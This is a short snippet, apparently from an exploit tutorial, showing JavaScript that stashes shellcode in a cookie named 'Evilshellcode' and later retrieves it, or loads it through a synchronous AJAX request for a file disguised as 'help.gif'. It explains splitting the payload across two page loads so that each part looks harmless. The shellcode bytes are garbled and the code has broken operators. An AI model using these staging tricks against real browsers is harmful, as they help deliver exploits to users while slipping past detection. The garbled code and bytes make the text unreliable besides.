Cookie sample code:
//Storage
function setCookie (sVar, sVal){
theCookie = sVar '=' sVal '; expires=Fri, 1 Jul 2020 09:45:27 UTC';
document.cookie = theCookie;}
shellcode="� 90�90
fc�7c�f9�35-49~db�d8�73 4euec..."
setCookie('Evilshellcode', shellcode);
//Get out
function getCookie(sVar) {
cookies = document.cookie.split('; ');
for(var i = 1; i <= cookies.length; i ){
if(cookies[i - 1]. split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}
return '';
}
a= unescape(getCookie('Evilshellcode'))
If the cookie is stored, it can be hung twice. The first time it is hung, the cookie writing code is harmless, and the second time it is taken out and combined with the new hook. How to use
ajax to call
var shellcode = $.ajax({
url: "help.gif",
async: false
}).responseText
help.gif content
�90�90
fc�7c�f9�35-49~db�d8�73 4euec